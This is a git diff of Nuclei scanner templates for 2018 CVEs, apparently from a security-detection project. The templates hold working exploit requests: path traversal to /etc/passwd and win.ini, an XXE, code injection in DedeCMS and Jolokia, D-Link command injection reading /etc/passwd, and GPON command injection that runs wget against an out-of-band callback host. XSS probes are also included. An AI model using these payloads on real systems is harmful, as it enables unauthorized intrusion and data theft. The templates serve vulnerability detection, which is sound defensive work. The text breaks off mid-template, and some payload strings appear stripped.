"{{BaseURL}}/addons/phpmailer/phpmailer.php" + + stop-at-first-match: true + + matchers-condition: or + matchers: + - type: word + part: body + words: + - "mysql2i.func.php on line 10" + - "Fatal error: Cannot redeclare mysql_affected_rows() in" + condition: and + + - type: word + part: body + words: + - "phpmailer.php on line 10" + - "Fatal error: Call to a menber function add_event_listener() on a non-object in" + condition: and + +# digest: 4a0a00473045022100a5980e523172a8ec729cc3d2b1b61fbc15f96ffcb1a846fdc949bb79fb8acfc8022005aa5a96cbd0305f5166f9ef37e7a075f160f195559c9291c57e7f90be095f51:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2018/CVE-2018-7700.yaml b/nuclei-templates/CVE-2018/CVE-2018-7700.yaml new file mode 100644 index 0000000000..7ecfd09be8 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-7700.yaml @@ -0,0 +1,38 @@ +id: CVE-2018-7700 + +info: + name: DedeCMS 5.7SP2 - Cross-Site Request Forgery/Remote Code Execution + author: pikpikcu + severity: high + description: | + DedeCMS 5.7SP2 is susceptible to cross-site request forgery with a corresponding impact of arbitrary code execution because the partcode parameter in a tag_test_action.php request can specify a runphp field in conjunction with PHP code. + reference: + - https://laworigin.github.io/2018/03/07/CVE-2018-7700-dedecms%E5%90%8E%E5%8F%B0%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/ + - https://nvd.nist.gov/vuln/detail/CVE-2018-7700 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2018-7700 + cwe-id: CWE-352 + tags: cve,cve2018,dedecms,rce + metadata: + max-request: 1 + +http: + - method: GET + path: + - "{{BaseURL}}/tag_test_action.php?url=a&token=&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}echo%20md5%28%22CVE-2018-7700%22%29%3B{/dede:field}" + + matchers-condition: and + matchers: + + - type: word + part: body + words: + - "4cc32a3a81d2bb37271934a48ce4468a" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/06/16 diff --git a/nuclei-templates/CVE-2018/CVE-2018-7719.yaml b/nuclei-templates/CVE-2018/CVE-2018-7719.yaml deleted file mode 100644 index a9213a0e65..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-7719.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: CVE-2018-7719 - -info: - name: Acrolinx Server Directory Traversal - author: 0x_akoko - severity: high - description: Acrolinux Server versions prior to 5.2.5 suffer from a directory traversal vulnerability. - reference: - - https://packetstormsecurity.com/files/146911/Acrolinx-Server-Directory-Traversal.html - - https://www.cvedetails.com/cve/CVE-2018-7719 - - https://support.acrolinx.com/hc/en-us/articles/213987685-Acrolinx-Server-Version-5-1-including-subsequent-service-releases- - - https://www.exploit-db.com/exploits/44345/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2018-7719 - cwe-id: CWE-22 - tags: cve,cve2018,acrolinx,lfi - -requests: - - raw: - - |+ - GET /..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini HTTP/1.1 - Host: {{Hostname}} - - unsafe: true - matchers: - - type: word - part: body - words: - - "bit app support" - - "fonts" - - "extensions" - condition: and \ No newline at end of file diff --git a/nuclei-templates/CVE-2018/CVE-2018-8033.yaml b/nuclei-templates/CVE-2018/CVE-2018-8033.yaml deleted file mode 100644 index 8b3bf3cb60..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-8033.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: CVE-2018-8033 - -info: - name: Apache OFBiz XXE - author: pikpikcu - severity: high - description: XXE injection (file disclosure) exploit for Apache OFBiz 16.11.04 - reference: - - https://lists.apache.org/thread.html/e8fb551e86e901932081f81ee9985bb72052b4d412f23d89b1282777@%3Cuser.ofbiz.apache.org%3E - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2018-8033 - cwe-id: CWE-200 - tags: cve,cve2018,apache,ofbiz,xxe - -requests: - - raw: - - | - POST /webtools/control/xmlrpc HTTP/1.1 - Host: {{Hostname}} - Accept: */* - Accept-Language: en - Content-Type: application/xml - - ]>&disclose; - - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - part: body - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/CVE-2018-9161.yaml b/nuclei-templates/CVE-2018/CVE-2018-9161.yaml new file mode 100644 index 0000000000..620cecf348 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-9161.yaml @@ -0,0 +1,46 @@ +id: CVE-2018-9161 + +info: + name: PrismaWEB - Credentials Disclosure + author: gy741 + severity: critical + description: PrismaWEB is susceptible to credential disclosure. The vulnerability exists due to the disclosure of hard-coded credentials allowing an attacker to effectively bypass authentication of PrismaWEB with administrator privileges. The credentials can be disclosed by simply navigating to the login_par.js JavaScript page that holds the username and password for the management interface that are being used via the Login() function in /scripts/functions_cookie.js script. + remediation: | + Ensure that sensitive credentials are properly protected and not exposed in the application's source code or configuration files. + reference: + - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5453.php + - https://nvd.nist.gov/vuln/detail/CVE-2018-9161 + - https://www.exploit-db.com/exploits/44276/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2018-9161 + cwe-id: CWE-798 + epss-score: 0.26342 + epss-percentile: 0.96265 + cpe: cpe:2.3:a:prismaindustriale:checkweigher_prismaweb:1.21:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: prismaindustriale + product: checkweigher_prismaweb + tags: cve,cve2018,prismaweb,exposure,edb + +http: + - method: GET + path: + - "{{BaseURL}}/user/scripts/login_par.js" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'txtChkUser' + - 'txtChkPassword' + condition: and + + - type: status + status: + - 200 + +# digest: 490a0046304402200fc2f92b9a58923299c356c4dcfb81b373807e77a199367f5a701d9183466a8802207c6b6be3b4582d02d44da4346e544fb8f283dd92456425d08f8f2fe9ae0096c6:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2018/CVE-2018-9205.yaml b/nuclei-templates/CVE-2018/CVE-2018-9205.yaml deleted file mode 100644 index 5f152b9806..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-9205.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2018-9205 - -info: - name: Drupal avatar_uploader v7.x-1.0-beta8 - Local File Inclusion - author: daffainfo - severity: high - description: In avatar_uploader v7.x-1.0-beta8 the view.php program doesn't restrict file paths, allowing unauthenticated users to retrieve arbitrary files. - reference: - - https://www.exploit-db.com/exploits/44501 - - https://nvd.nist.gov/vuln/detail/CVE-2018-9205 - - https://www.drupal.org/project/avatar_uploader/issues/2957966 - - https://www.drupal.org/project/avatar_uploader - remediation: Upgrade to the latest version of avatar_uploader. - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2018-9205 - cwe-id: CWE-22 - tags: cve,cve2018,lfi,drupal - -requests: - - method: GET - path: - - "{{BaseURL}}/sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../etc/passwd" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:.*:0:0:" - - - type: status - status: - - 200 - -# Enhanced by cs on 2022/02/25 diff --git a/nuclei-templates/CVE-2018/CVE-2018-9845.yaml b/nuclei-templates/CVE-2018/CVE-2018-9845.yaml new file mode 100644 index 0000000000..4b0e69b0a6 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-9845.yaml @@ -0,0 +1,39 @@ +id: CVE-2018-9845 + +info: + name: Etherpad Lite <1.6.4 - Admin Authentication Bypass + author: philippedelteil + severity: critical + description: Etherpad Lite before 1.6.4 is exploitable for admin access. + reference: + - https://infosecwriteups.com/account-takeovers-believe-the-unbelievable-bb98a0c251a4 + - https://github.com/ether/etherpad-lite/commit/ffe24c3dd93efc73e0cbf924db9a0cc40be9511b + - https://nvd.nist.gov/vuln/detail/CVE-2018-9845 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2018-9845 + tags: cve,cve2018,etherpad,auth-bypass + +requests: + - method: GET + path: + - "{{BaseURL}}/Admin" + + redirects: true + max-redirects: 2 + matchers-condition: and + matchers: + - type: word + part: body + words: + - "Etherpad version" + - "Plugin manager" + - "Installed parts" + condition: and + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/05/16 diff --git "a/nuclei-templates/CVE-2018/CVE-2018\342\200\22314064(1).yaml" "b/nuclei-templates/CVE-2018/CVE-2018\342\200\22314064(1).yaml" deleted file mode 100644 index d07fc4a0b2..0000000000 --- "a/nuclei-templates/CVE-2018/CVE-2018\342\200\22314064(1).yaml" +++ /dev/null @@ -1,21 +0,0 @@ -id: cve-2018-14064 -info: - name: VelotiSmart Wifi - Directory Traversal - author: 0x_Akoko - severity: high - reference: | - - https://medium.com/@s1kr10s/velotismart-0day-ca5056bcdcac - - https://www.exploit-db.com/exploits/45030 - tags: velotismart,lfi -requests: - - method: GET - path: - - "{{BaseURL}}/../../etc/passwd" - matchers-condition: and - matchers: - - type: regex - regex: - - "root:[x*]:0:0" - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-0127.yaml b/nuclei-templates/CVE-2018/cve-2018-0127.yaml deleted file mode 100644 index 1c5668b604..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-0127.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2018-0127 - -info: - name: Cisco RV132W and RV134W Router Information Disclosure - author: jrolf - severity: critical - description: A vulnerability in the web interface of Cisco RV132W ADSL2+ Wireless-N VPN Routers and Cisco RV134W VDSL2 Wireless-AC VPN Routers could allow an unauthenticated, remote attacker to view configuration parameters for an affected device, which could lead to the disclosure of confidential information. - tags: cve,cve2018,cisco,router - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2018-0127 - cwe-id: CWE-306 - reference: - - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180207-rv13x_2 - - http://www.securitytracker.com/id/1040345 - - http://www.securityfocus.com/bid/102969 - -requests: - - method: GET - path: - - "{{BaseURL}}/dumpmdm.cmd" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - part: body - condition: and - words: - - "Dump" - - "MDM" - - "cisco" - - "admin" diff --git a/nuclei-templates/CVE-2018/cve-2018-1000130.yaml b/nuclei-templates/CVE-2018/cve-2018-1000130.yaml new file mode 100644 index 0000000000..9b56c41fde --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-1000130.yaml @@ -0,0 +1,43 @@ +id: CVE-2018-1000130 + +info: + name: Jolokia Agent Proxy JNDI Code Injection + author: milo2012 + severity: high + description: A JNDI Injection vulnerability exists in Jolokia agent in the proxy mode that allows a remote attacker to run arbitrary Java code on the server. + tags: cve,cve2018,jolokia,rce,jndi,proxy + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.10 + cve-id: CVE-2018-1000130 + cwe-id: CWE-74 + reference: + - https://jolokia.org/#Security_fixes_with_1.5.0 + - https://access.redhat.com/errata/RHSA-2018:2669 + +requests: + - raw: + - | + POST /jolokia/read/getDiagnosticOptions HTTP/1.1 + Host: {{Hostname}} + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0. + Content-Type: application/x-www-form-urlencoded + + { + "type":"read", + "mbean":"java.lang:type=Memory", + "target":{ + "url":"service:jmx:rmi:///jndi/ldap://127.0.0.1:1389/o=tomcat" + } + } + + matchers-condition: and + matchers: + - type: word + words: + - "Failed to retrieve RMIServer stub: javax.naming.CommunicationException: 127.0.0.1:1389" + part: body + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-1000856.yaml b/nuclei-templates/CVE-2018/cve-2018-1000856.yaml new file mode 100644 index 0000000000..dcc69a343c --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-1000856.yaml @@ -0,0 +1,69 @@ +id: CVE-2018-1000856 + +info: + name: DomainMOD 4.11.01 - Cross-Site Scripting + author: arafatansari + severity: medium + description: | + DomainMOD 4.11.01 is vulnerable to cross-site scripting via the segments/add.php Segment Name field. + impact: | + Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information. + remediation: | + Upgrade to the latest version of DomainMOD or apply the vendor-provided patch to mitigate this vulnerability. + reference: + - https://github.com/domainmod/domainmod/issues/80 + - https://nvd.nist.gov/vuln/detail/CVE-2018-1000856 + - https://github.com/ARPSyndicate/kenzer-templates + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N + cvss-score: 4.8 + cve-id: CVE-2018-1000856 + cwe-id: CWE-79 + epss-score: 0.00092 + epss-percentile: 0.38207 + cpe: cpe:2.3:a:domainmod:domainmod:*:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 3 + vendor: domainmod + product: domainmod + tags: cve2018,cve,domainmod,xss,authenticated + +http: + - raw: + - | + POST / HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + new_username={{username}}&new_password={{password}} + - | + POST /segments/add.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + new_name=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&raw_domain_list=test.com&new_description=test&new_notes=test + - | + GET /segments/ HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + host-redirects: true + max-redirects: 3 + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 +# digest: 4a0a0047304502205e60ba8ac7b7b68b9dcb58a31e4b4083007aa34e42c8dbc2d4750a2e0242c4ef022100b9eb8ca7486f72fde65b1b901b782329f828735d4b45ec7c80b345137845b021:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2018/cve-2018-10230.yaml b/nuclei-templates/CVE-2018/cve-2018-10230.yaml new file mode 100644 index 0000000000..feadcb357a --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-10230.yaml @@ -0,0 +1,53 @@ +id: CVE-2018-10230 + +info: + name: Zend Server <9.13 - Cross-Site Scripting + author: marcos_iaf + severity: medium + description: | + Zend Server before version 9.13 is vulnerable to cross-site scripting via the debug_host parameter. + impact: | + Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. + remediation: | + Upgrade Zend Server to version 9.13 or later to mitigate this vulnerability. + reference: + - https://www.synacktiv.com/ressources/zend_server_9_1_3_xss.pdf + - https://www.zend.com/en/products/server/release-notes + - https://nvd.nist.gov/vuln/detail/CVE-2018-10230 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2018-10230 + cwe-id: CWE-79 + epss-score: 0.00122 + epss-percentile: 0.46318 + cpe: cpe:2.3:a:zend:zend_server:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: zend + product: zend_server + tags: cve,cve2018,xss,zend + +http: + - method: GET + path: + - "{{BaseURL}}/index.php?debug_host=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&start_debug=1" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + - "is not allowed to open debug sessions" + condition: and + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 +# digest: 490a0046304402201423fd900a1cd2dcf52028722c5f7a43f8b6d20d5a5b65d58f59ffed42a8f6ff02205da25d220a25b5faef2f03778f2b749c7a385c901429baf839f1815fc1681d28:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2018/cve-2018-10562.yaml b/nuclei-templates/CVE-2018/cve-2018-10562.yaml new file mode 100644 index 0000000000..b65eb8717e --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-10562.yaml @@ -0,0 +1,38 @@ +id: CVE-2018-10562 + +info: + name: Dasan GPON Devices - Remote Code Execution (Unauthenticated) + author: gy741 + severity: critical + description: An issue was discovered on Dasan GPON home routers. Command Injection can occur via the dest_host parameter in a diag_action=ping request to a GponForm/diag_Form URI. Because the router saves ping results in /tmp and transmits them to the user when the user revisits /diag.html, it's quite simple to execute commands and retrieve their output. + reference: + - https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router + - https://github.com/f3d0x0/GPON/blob/master/gpon_rce.py + - https://nvd.nist.gov/vuln/detail/CVE-2018-10562 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N + cvss-score: 9.80 + cve-id: CVE-2018-10562 + cwe-id: CWE-78 + tags: cve,cve2018,dasan,gpon,rce,oast + +requests: + - raw: + - | + POST /GponForm/diag_Form?images/ HTTP/1.1 + Host: {{Hostname}} + + XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox wget http://{{interactsh-url}}`;busybox wget http://{{interactsh-url}}&ipv=0 + + - | + POST /GponForm/diag_Form?images/ HTTP/1.1 + Host: {{Hostname}} + + XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`wget http://{{interactsh-url}}`;wget http://{{interactsh-url}}&ipv=0 + + stop-at-first-match: true + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" diff --git a/nuclei-templates/CVE-2018/cve-2018-10823.yaml b/nuclei-templates/CVE-2018/cve-2018-10823.yaml deleted file mode 100644 index 81ca5b0d08..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-10823.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: CVE-2018-10823 - -info: - name: D-Link Routers - Command Injection - author: wisnupramoedya - severity: high - description: An issue was discovered on D-Link DWR-116 through 1.06, DWR-512 through 2.02, DWR-712 through 2.02, DWR-912 through 2.02, DWR-921 through 2.02, and DWR-111 through 1.01 devices. An authenticated attacker may execute arbitrary code by injecting the shell command into the chkisg.htm page Sip parameter. This allows for full control over the device internals. - reference: - - https://www.exploit-db.com/exploits/45676 - - https://nvd.nist.gov/vuln/detail/CVE-2018-10823 - tags: cve,cve2018,rce,iot,dlink,router - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.80 - cve-id: CVE-2018-10823 - cwe-id: CWE-78 - -requests: - - method: GET - path: - - "{{BaseURL}}/chkisg.htm%3FSip%3D1.1.1.1%20%7C%20cat%20%2Fetc%2Fpasswd" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:.*:0:0" - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-10956.yaml b/nuclei-templates/CVE-2018/cve-2018-10956.yaml deleted file mode 100644 index 1cde241ed5..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-10956.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: CVE-2018-10956 -info: - name: IPConfigure Orchid Core VMS 2.0.5 - Unauthenticated Directory Traversal. - author: 0x_Akoko - severity: high - description: IPConfigure Orchid Core VMS 2.0.5 allows Directory Traversal. - reference: - - https://labs.nettitude.com/blog/cve-2018-10956-unauthenticated-privileged-directory-traversal-in-ipconfigure-orchid-core-vms/ - - https://github.com/nettitude/metasploit-modules/blob/master/orchid_core_vms_directory_traversal.rb - - https://www.cvedetails.com/cve/CVE-2018-10956 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - cvss-score: 7.5 - cve-id: CVE-2018-10956 - cwe-id: CWE-22 - metadata: - shodan-query: http.title:"Orchid Core VMS" - tags: cve,cve2018,orchid,vms,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd" - - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-12296.yaml b/nuclei-templates/CVE-2018/cve-2018-12296.yaml new file mode 100644 index 0000000000..faa7cc7f06 --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-12296.yaml @@ -0,0 +1,37 @@ +id: CVE-2018-12296 +info: + name: Seagate NAS OS 4.3.15.1 - Server Information Disclosure + author: princechaddha + severity: high + description: Insufficient access control in /api/external/7.0/system.System.get_infos in Seagate NAS OS version 4.3.15.1 allows attackers to obtain information about the NAS without authentication via empty POST requests. + reference: + - https://blog.securityevaluators.com/invading-your-personal-cloud-ise-labs-exploits-the-seagate-stcr3000101-ecf89de2170 + - https://nvd.nist.gov/vuln/detail/CVE-2018-12296 + tags: cve,cve2018,seagate,nasos,disclosure,unauth + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.50 + cve-id: CVE-2018-12296 + cwe-id: CWE-732 + +requests: + - raw: + - | + POST /api/external/7.0/system.System.get_infos HTTP/1.1 + Host: {{Hostname}} + Referer: {{BaseURL}} + + matchers: + - type: word + part: body + words: + - '"version":' + - '"serial_number":' + condition: and + + extractors: + - type: regex + part: body + group: 1 + regex: + - '"version": "([0-9.]+)"' diff --git a/nuclei-templates/CVE-2018/cve-2018-1247.yaml b/nuclei-templates/CVE-2018/cve-2018-1247.yaml new file mode 100644 index 0000000000..e522302ccb --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-1247.yaml @@ -0,0 +1,22 @@ +id: CVE-2018-1247 + +info: + name: RSA Authentication Manager XSS + author: madrobot + severity: medium + +requests: + - method: GET + path: + - "{{BaseURL}}/IMS-AA-IDP/common/scripts/iua/pmfso.swf?sendUrl=/&gotoUrlLocal=javascript:alert(1337)//" + + matchers-condition: and + matchers: + - type: word + words: + - "application/x-shockwave-flash" + part: header + - type: word + words: + - "javascript:alert(1337)" + part: body diff --git a/nuclei-templates/CVE-2018/cve-2018-12613.yaml b/nuclei-templates/CVE-2018/cve-2018-12613.yaml new file mode 100644 index 0000000000..40bfe42ba7 --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-12613.yaml @@ -0,0 +1,31 @@ +id: CVE-2018-12613 + +info: + name: PhpMyAdmin 4.8.1 Remote File Inclusion + author: pikpikcu + severity: high + reference: https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613 + tags: cve,cve2018,phpmyadmin,lfi + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.80 + cve-id: CVE-2018-12613 + cwe-id: CWE-287 + description: "An issue was discovered in phpMyAdmin 4.8.x before 4.8.2, in which an attacker can include (view and potentially execute) files on the server. The vulnerability comes from a portion of code where pages are redirected and loaded within phpMyAdmin, and an improper test for whitelisted pages. An attacker must be authenticated, except in the \"$cfg['AllowArbitraryServer'] = true\" case (where an attacker can specify any host he/she is already in control of, and execute arbitrary code on phpMyAdmin) and the \"$cfg['ServerDefault'] = 0\" case (which bypasses the login requirement and runs the vulnerable code without any authentication)." + +requests: + - method: GET + path: + - '{{BaseURL}}/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd' + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + part: body + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-12998.yaml b/nuclei-templates/CVE-2018/cve-2018-12998.yaml new file mode 100644 index 0000000000..d8f965c9a1 --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-12998.yaml @@ -0,0 +1,39 @@ +id: CVE-2018-12998 + +info: + name: Zoho manageengine Arbitrary Reflected XSS + author: pikpikcu + severity: medium + description: A reflected Cross-site scripting (XSS) vulnerability in Zoho ManageEngine Netflow Analyzer before build 123137, Network Configuration Manager before build 123128, OpManager before build 123148, OpUtils before build 123161, and Firewall Analyzer before build 123147 allows remote attackers to inject arbitrary web script or HTML via the parameter 'operation' to /servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet. + reference: + - https://github.com/unh3x/just4cve/issues/10 + - http://packetstormsecurity.com/files/148635/Zoho-ManageEngine-13-13790-build-XSS-File-Read-File-Deletion.html + - https://nvd.nist.gov/vuln/detail/CVE-2018-12998 + tags: cve,cve2018,zoho,xss,manageengine + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2018-12998 + cwe-id: CWE-79 + +requests: + - method: GET + path: + - "{{BaseURL}}/servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet?operation=11111111%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + + matchers-condition: and + matchers: + + - type: word + words: + - "" + part: body + + - type: status + status: + - 200 + + - type: word + part: header + words: + - text/html diff --git a/nuclei-templates/CVE-2018/cve-2018-13380.yaml b/nuclei-templates/CVE-2018/cve-2018-13380.yaml index 817ec01641..c76b518800 100644 --- a/nuclei-templates/CVE-2018/cve-2018-13380.yaml +++ b/nuclei-templates/CVE-2018/cve-2018-13380.yaml @@ -1,37 +1,31 @@ -id: CVE-2018-13380 - -info: - name: Fortinet FortiOS Cross-Site Scripting - author: shelld3v - severity: medium - description: A Cross-site Scripting (XSS) vulnerability in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, 5.4.0 to 5.4.12, 5.2 and below versions under SSL VPN web portal allows attacker to execute unauthorized malicious script code via the error or message handling parameters. - reference: https://nvd.nist.gov/vuln/detail/CVE-2018-13380 - - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2018-13380 - cwe-id: CWE-79 - -requests: - - method: GET - path: - - "{{BaseURL}}/message?title=x&msg=%26%23%3Csvg/onload=alert(1337)%3E" - - "{{BaseURL}}/remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1337)%3C/script%3E" - - matchers-condition: and - matchers: - - type: word - words: - - "" - part: body - - - type: word - words: - - "application/json" - part: header - negative: true - - - type: status - status: - - 200 +id: CVE-2018-13380 + +info: + name: Fortinet FortiOS Cross-Site Scripting + author: shelld3v + severity: medium + description: A Cross-site Scripting (XSS) vulnerability in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, 5.4.0 to 5.4.12, 5.2 and below versions under SSL VPN web portal allows attacker to execute unauthorized malicious script code via the error or message handling parameters. + type: XSS + reference: https://nvd.nist.gov/vuln/detail/CVE-2018-13380 + +requests: + - method: GET + path: + - "{{BaseURL}}/message?title=x&msg=%26%23" + + matchers-condition: and + matchers: + - type: word + words: + - "" + part: body + + - type: word + words: + - "application/json" + part: header + negative: true + + - type: status + status: + - 200 \ No newline at end of file diff --git a/nuclei-templates/CVE-2018/cve-2018-13980.yaml b/nuclei-templates/CVE-2018/cve-2018-13980.yaml deleted file mode 100644 index 3f6afd77f7..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-13980.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: CVE-2018-13980 - -info: - name: Zeta Producer Desktop CMS 14.2.0 - Local File Disclosure - author: wisnupramoedya - severity: medium - description: The websites that were built from Zeta Producer Desktop CMS before 14.2.1 are vulnerable to unauthenticated file disclosure if the plugin "filebrowser" is installed, because of assets/php/filebrowser/filebrowser.main.php?file=../ directory traversal. - reference: - - https://www.exploit-db.com/exploits/45016 - - https://nvd.nist.gov/vuln/detail/CVE-2018-13980 - tags: cve,cve2018,lfi - classification: - cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - cvss-score: 5.50 - cve-id: CVE-2018-13980 - cwe-id: CWE-22 - -requests: - - method: GET - path: - - "{{BaseURL}}/assets/php/filebrowser/filebrowser.main.php?file=../../../../../../../../../../etc/passwd&do=download" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:.*:0:0" - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-14013.yaml b/nuclei-templates/CVE-2018/cve-2018-14013.yaml new file mode 100644 index 0000000000..cee7520213 --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-14013.yaml @@ -0,0 +1,35 @@ +id: CVE-2018-14013 + +info: + name: Zimbra XSS + author: pikpikcu + severity: medium + description: Synacor Zimbra Collaboration Suite Collaboration before 8.8.11 has XSS in the AJAX and html web clients. + reference: https://nvd.nist.gov/vuln/detail/CVE-2018-14013 + tags: cve,cve2018,xss,zimbra + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2018-14013 + cwe-id: CWE-79 + +requests: + - method: GET + path: + - 